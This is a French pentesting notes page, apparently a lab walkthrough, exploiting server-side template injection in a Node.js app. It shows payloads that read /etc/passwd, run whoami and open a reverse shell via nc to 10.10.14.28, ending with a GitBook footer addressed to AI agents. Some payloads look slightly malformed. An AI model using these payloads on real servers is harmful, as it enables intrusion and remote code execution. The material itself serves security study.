> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).

# SSTI Node.js

## SSTI (Node.js)

Nous remarquons une fonctionnalité permettant aux utilisateurs de saisir un e-mail pour s’abonner à une newsletter. La réponse du serveur affiche directement notre saisie, ce qui suggère une possible **Injection de modèle côté serveur (SSTI)**.

<figure><img src="/files/68d3c897cf7d4abde2eb81c49532aecfa9c3d120" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b61f3d6c69f5efb8a426cb1ce03c9e84150ee5e5" alt=""><figcaption></figcaption></figure>

#### Test de vulnérabilité

Nous interceptons la requête avec **Burp Suite** et testons une SSTI classique :

<figure><img src="/files/b56b5eed22628636c9e1a8d249ac09afa9c093ea" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}

```

Si la réponse affiche `81`, alors l'application est vulnérable, c'est le cas ici.

<figure><img src="/files/8c9a90dbf2f1cacd16edbaacb56696fc7d4492c8" alt=""><figcaption></figcaption></figure>

### Lecture `/etc/passwd`

Nous utilisons la charge utile ci-dessous pour afficher le contenu de `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}

```

{% endcode %}

<figure><img src="/files/eebfb49f7d05591ef9a18f35c6fe802cb35ba584" alt=""><figcaption></figcaption></figure>

#### Récupération de l'utilisateur actuel

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}

```

{% endcode %}

Nous obtenons `david`.

<figure><img src="/files/30e4847eb7403bd27161c51e373563b8fbb2f47f" alt=""><figcaption></figcaption></figure>

### Reverse shell via SSTI (Node.js)

Démarrage de l'écouteur sur le port **4444**:

```bash
nc -nlvp 4444

```

Envoi de la charge utile de reverse shell :

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}

```

{% endcode %}

Accès à la machine cible

<figure><img src="/files/625c6813c808cf005a1684f50902b69253499314" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
